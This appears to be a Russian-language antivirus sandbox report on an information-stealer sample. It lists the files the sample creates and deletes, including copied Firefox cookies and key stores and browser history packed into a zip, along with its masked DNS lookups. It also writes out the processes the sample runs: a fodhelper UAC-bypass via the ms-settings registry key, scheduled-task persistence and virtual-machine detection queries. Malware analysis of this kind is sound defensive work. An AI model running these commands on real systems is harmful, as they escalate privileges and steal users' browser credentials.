Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\Software\Classes\ms-settings\Shell\Open\command] '' = 'schtasks /create /tn WindowsActionCenterProvider /tr %LOCALAPPDATA%\Microsoft\Windows\ActionCenter\SecurityAgent.exe /sc onlogon /f ...
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\windowsactioncenterprovider
Вредоносные функции
Завершает или пытается завершить
следующие системные процессы:
- <SYSTEM32>\cmd.exe
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\_v_918578\cache.db
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\_v_918578\runtime.exe
- %TEMP%\ms_core_3076\api-ms-win-core-_primn.node
- %TEMP%\ms_core_3076\api-ms-win-core-sqlite.node
- %TEMP%\ms_core_3076\api-ms-win-core-koffi_.node
- %TEMP%\system_check_1771999526871.vbs
- %LOCALAPPDATA%\microsoft\windows\actioncenter\securityagent.exe
- nul
- %LOCALAPPDATA%\microsoft\windows\actioncenter\.initialized
- %TEMP%\ms_core_3076\api-ms-win-core-ghost_.dll
- %LOCALAPPDATA%\win-service\output\tmp_qi0gk.db
- %LOCALAPPDATA%\win-service\output\tmp_mnqzv.db
- %LOCALAPPDATA%\win-service\output\tmp_r8ig7.db
- %LOCALAPPDATA%\win-service\output\tmp_5qap7.db
- %LOCALAPPDATA%\win-service\output\tmp_l4z51.db
- %LOCALAPPDATA%\win-service\output\tmp_g55k8.db
- %LOCALAPPDATA%\win-service\output\tmp_9rf77.db
- %LOCALAPPDATA%\win-service\output\browser_data\microsoft_edge\default\top_sites.txt
- %TEMP%\nss_9f241caa\addons.json
- %TEMP%\nss_9f241caa\addonstartup.json.lz4
- %TEMP%\nss_9f241caa\broadcast-listeners.json
- %TEMP%\nss_9f241caa\cert9.db
- %TEMP%\nss_9f241caa\compatibility.ini
- %TEMP%\nss_9f241caa\containers.json
- %TEMP%\nss_9f241caa\content-prefs.sqlite
- %TEMP%\nss_9f241caa\cookies.sqlite
- %TEMP%\nss_9f241caa\cookies.sqlite-shm
- %TEMP%\nss_9f241caa\extension-preferences.json
- %TEMP%\nss_9f241caa\extensions.json
- %TEMP%\nss_9f241caa\favicons.sqlite
- %TEMP%\nss_9f241caa\favicons.sqlite-shm
- %TEMP%\nss_9f241caa\formhistory.sqlite
- %TEMP%\nss_9f241caa\handlers.json
- %TEMP%\nss_9f241caa\key4.db
- %TEMP%\nss_9f241caa\permissions.sqlite
- %TEMP%\nss_9f241caa\pkcs11.txt
- %TEMP%\nss_9f241caa\places.sqlite
- %TEMP%\nss_9f241caa\places.sqlite-shm
- %TEMP%\nss_9f241caa\prefs.js
- %TEMP%\nss_9f241caa\search.json.mozlz4
- %TEMP%\nss_9f241caa\sessioncheckpoints.json
- %TEMP%\nss_9f241caa\shield-preference-experiments.json
- %TEMP%\nss_9f241caa\sitesecurityservicestate.txt
- %TEMP%\nss_9f241caa\storage.sqlite
- %TEMP%\nss_9f241caa\times.json
- %TEMP%\nss_9f241caa\user.js
- %TEMP%\nss_9f241caa\webappsstore.sqlite
- %TEMP%\nss_9f241caa\webappsstore.sqlite-shm
- %TEMP%\nss_9f241caa\xulstore.json
- %TEMP%\nss_9f241caa\accessiblehandler.dll
- %TEMP%\nss_9f241caa\accessiblemarshal.dll
- %TEMP%\nss_9f241caa\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\nss_9f241caa\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-multibyte-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-private-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\nss_9f241caa\d3dcompiler_47.dll
- %TEMP%\nss_9f241caa\freebl3.dll
- %TEMP%\nss_9f241caa\ia2marshal.dll
- %TEMP%\nss_9f241caa\lgpllibs.dll
- %TEMP%\nss_9f241caa\libegl.dll
- %TEMP%\nss_9f241caa\libglesv2.dll
- %TEMP%\nss_9f241caa\mozavcodec.dll
- %TEMP%\nss_9f241caa\mozavutil.dll
- %TEMP%\nss_9f241caa\mozglue.dll
- %TEMP%\nss_9f241caa\mozwer.dll
- %TEMP%\nss_9f241caa\msvcp140.dll
- %TEMP%\nss_9f241caa\nss3.dll
- %TEMP%\nss_9f241caa\nssckbi.dll
- %TEMP%\nss_9f241caa\osclientcerts.dll
- %TEMP%\nss_9f241caa\qipcap64.dll
- %TEMP%\nss_9f241caa\softokn3.dll
- %TEMP%\nss_9f241caa\ucrtbase.dll
- %TEMP%\nss_9f241caa\vcruntime140.dll
- %TEMP%\nss_9f241caa\xul.dll
- %LOCALAPPDATA%\win-service\output\tmp_fovkd.db
- %LOCALAPPDATA%\win-service\output\tmp_fovkd.db-shm
- %LOCALAPPDATA%\win-service\output\tmp_aa1e6.db
- %LOCALAPPDATA%\win-service\output\tmp_aa1e6.db-shm
- %LOCALAPPDATA%\win-service\output\browser_data\firefox\dnyauhh1_default_release\history.txt
- %LOCALAPPDATA%\win-service\output\tmp_ftawu.db
- %LOCALAPPDATA%\win-service\output\tmp_ftawu.db-shm
- %LOCALAPPDATA%\win-service\output\browser_data\firefox\dnyauhh1_default_release\bookmarks.txt
- %LOCALAPPDATA%\win-service\output\tmp_vdy59.db
- %LOCALAPPDATA%\win-service\output\tmp_vdy59.db-shm
- %LOCALAPPDATA%\win-service\output\browser_data\firefox\dnyauhh1_default_release\top_sites.txt
- %LOCALAPPDATA%\win-service\output\tmp_soa56.db
- %LOCALAPPDATA%\win-service\output\tmp_soa56.db-shm
- %LOCALAPPDATA%\win-service\output\tmp_cpcus.db
- %LOCALAPPDATA%\win-service\output\system-info.txt
- %LOCALAPPDATA%\win-service\wuec1eeh5y9.zip
Удаляет файлы, которые сам же создал
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\_v_918578\cache.db
- %LOCALAPPDATA%\win-service\output\tmp_qi0gk.db
- %LOCALAPPDATA%\win-service\output\tmp_mnqzv.db
- %LOCALAPPDATA%\win-service\output\tmp_r8ig7.db
- %LOCALAPPDATA%\win-service\output\tmp_5qap7.db
- %LOCALAPPDATA%\win-service\output\tmp_l4z51.db
- %LOCALAPPDATA%\win-service\output\tmp_g55k8.db
- %LOCALAPPDATA%\win-service\output\tmp_9rf77.db
- %LOCALAPPDATA%\win-service\output\tmp_fovkd.db-shm
- %LOCALAPPDATA%\win-service\output\tmp_fovkd.db
- %LOCALAPPDATA%\win-service\output\tmp_aa1e6.db-shm
- %LOCALAPPDATA%\win-service\output\tmp_aa1e6.db
- %LOCALAPPDATA%\win-service\output\tmp_ftawu.db-shm
- %LOCALAPPDATA%\win-service\output\tmp_ftawu.db
- %LOCALAPPDATA%\win-service\output\tmp_vdy59.db-shm
- %LOCALAPPDATA%\win-service\output\tmp_vdy59.db
- %LOCALAPPDATA%\win-service\output\tmp_soa56.db-shm
- %LOCALAPPDATA%\win-service\output\tmp_soa56.db
- %TEMP%\nss_9f241caa\accessiblehandler.dll
- %TEMP%\nss_9f241caa\accessiblemarshal.dll
- %TEMP%\nss_9f241caa\addons.json
- %TEMP%\nss_9f241caa\addonstartup.json.lz4
- %TEMP%\nss_9f241caa\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\nss_9f241caa\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-multibyte-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-private-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\nss_9f241caa\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\nss_9f241caa\broadcast-listeners.json
- %TEMP%\nss_9f241caa\cert9.db
- %TEMP%\nss_9f241caa\compatibility.ini
- %TEMP%\nss_9f241caa\containers.json
- %TEMP%\nss_9f241caa\content-prefs.sqlite
- %TEMP%\nss_9f241caa\cookies.sqlite
- %TEMP%\nss_9f241caa\cookies.sqlite-shm
- %TEMP%\nss_9f241caa\d3dcompiler_47.dll
- %TEMP%\nss_9f241caa\extension-preferences.json
- %TEMP%\nss_9f241caa\extensions.json
- %TEMP%\nss_9f241caa\favicons.sqlite
- %TEMP%\nss_9f241caa\favicons.sqlite-shm
- %TEMP%\nss_9f241caa\formhistory.sqlite
- %TEMP%\nss_9f241caa\freebl3.dll
- %TEMP%\nss_9f241caa\handlers.json
- %TEMP%\nss_9f241caa\ia2marshal.dll
- %TEMP%\nss_9f241caa\key4.db
- %TEMP%\nss_9f241caa\lgpllibs.dll
- %TEMP%\nss_9f241caa\libegl.dll
- %TEMP%\nss_9f241caa\libglesv2.dll
- %TEMP%\nss_9f241caa\mozavcodec.dll
- %TEMP%\nss_9f241caa\mozavutil.dll
- %TEMP%\nss_9f241caa\mozglue.dll
- %TEMP%\nss_9f241caa\mozwer.dll
- %TEMP%\nss_9f241caa\msvcp140.dll
- %TEMP%\nss_9f241caa\nss3.dll
- %TEMP%\nss_9f241caa\nssckbi.dll
- %TEMP%\nss_9f241caa\osclientcerts.dll
- %TEMP%\nss_9f241caa\permissions.sqlite
- %TEMP%\nss_9f241caa\pkcs11.txt
- %TEMP%\nss_9f241caa\places.sqlite
- %TEMP%\nss_9f241caa\places.sqlite-shm
- %TEMP%\nss_9f241caa\prefs.js
- %TEMP%\nss_9f241caa\qipcap64.dll
- %TEMP%\nss_9f241caa\search.json.mozlz4
- %TEMP%\nss_9f241caa\sessioncheckpoints.json
- %TEMP%\nss_9f241caa\shield-preference-experiments.json
- %TEMP%\nss_9f241caa\sitesecurityservicestate.txt
- %TEMP%\nss_9f241caa\softokn3.dll
- %TEMP%\nss_9f241caa\storage.sqlite
- %TEMP%\nss_9f241caa\times.json
- %TEMP%\nss_9f241caa\ucrtbase.dll
- %TEMP%\nss_9f241caa\user.js
- %TEMP%\nss_9f241caa\vcruntime140.dll
- %TEMP%\nss_9f241caa\webappsstore.sqlite
- %TEMP%\nss_9f241caa\webappsstore.sqlite-shm
- %TEMP%\nss_9f241caa\xul.dll
- %TEMP%\nss_9f241caa\xulstore.json
- %LOCALAPPDATA%\win-service\output\tmp_cpcus.db
Сетевая активность
UDP
- DNS ASK ip##fo.io
- DNS ASK di##ord.com
Другое
Создает и запускает на исполнение
- '%LOCALAPPDATA%\microsoft\windows\<INETFILES>\_v_918578\runtime.exe'
- '<SYSTEM32>\wscript.exe' //nologo "%TEMP%\system_check_1771999526871.vbs"
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /d /s /c "getmac" (со скрытым окном)
- '<SYSTEM32>\getmac.exe'
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object -ExpandProperty Manufacturer"" (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object -ExpandProperty Manufacturer"
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object -ExpandProperty Model"" (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object -ExpandProperty Model"
- '<SYSTEM32>\cmd.exe' /d /s /c "tasklist" (со скрытым окном)
- '<SYSTEM32>\tasklist.exe'
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command "Add-Type -AssemblyName System.windows.Forms; [System.windows.Forms.Screen]::PrimaryScreen.Bounds.Width"" (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-Type -AssemblyName System.windows.Forms; [System.windows.Forms.Screen]::PrimaryScreen.Bounds.Width"
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"" (со скрытым окном)
- '<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxGuest"" (со скрытым окном)
- '<SYSTEM32>\reg.exe' query "HKLM\SYSTEM\ControlSet001\Services\VBoxGuest"
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxMouse"" (со скрытым окном)
- '<SYSTEM32>\reg.exe' query "HKLM\SYSTEM\ControlSet001\Services\VBoxMouse"
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxService"" (со скрытым окном)
- '<SYSTEM32>\reg.exe' query "HKLM\SYSTEM\ControlSet001\Services\VBoxService"
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"" (со скрытым окном)
- '<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\vmci"" (со скрытым окном)
- '<SYSTEM32>\reg.exe' query "HKLM\SYSTEM\ControlSet001\Services\vmci"
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\vmhgfs"" (со скрытым окном)
- '<SYSTEM32>\reg.exe' query "HKLM\SYSTEM\ControlSet001\Services\vmhgfs"
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters"" (со скрытым окном)
- '<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters"
- '<SYSTEM32>\cmd.exe' /d /s /c "wscript //nologo "%TEMP%\system_check_1771999526871.vbs"" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "schtasks /create /tn "WindowsActionCenterProvider" /tr "%LOCALAPPDATA%\Microsoft\Windows\ActionCenter\... (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "schtasks /create /tn "WindowsActionCenterProvider" /tr "%LOCALAPPDATA%\Microsoft\Windows\ActionCenter\SecurityAgent....
- '<SYSTEM32>\cmd.exe' /d /s /c "reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f" (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
- '<SYSTEM32>\cmd.exe' /d /s /c "fodhelper.exe" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c "ping 127.0.0.1 -n 4 >nul" (со скрытым окном)
- '<SYSTEM32>\ping.exe' 127.0.0.1 -n 4
- '<SYSTEM32>\fodhelper.exe'
- '<SYSTEM32>\schtasks.exe' /create /tn WindowsActionCenterProvider /tr %LOCALAPPDATA%\Microsoft\Windows\ActionCenter\SecurityAgent.exe /sc onlogon /f /rl highest
- '<SYSTEM32>\cmd.exe' /d /s /c "reg delete "HKCU\Software\Classes\ms-settings" /f" (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKCU\Software\Classes\ms-settings" /f
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell "(Get-CimInstance Win32_ComputerSystemProduct).UUID"" (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "(Get-CimInstance Win32_ComputerSystemProduct).UUID"
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell "(Get-CimInstance Win32_OperatingSystem).Caption"" (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "(Get-CimInstance Win32_OperatingSystem).Caption"
- '<SYSTEM32>\cmd.exe' /d /s /c "tasklist /FO CSV /NH" (со скрытым окном)
- '<SYSTEM32>\tasklist.exe' /FO CSV /NH
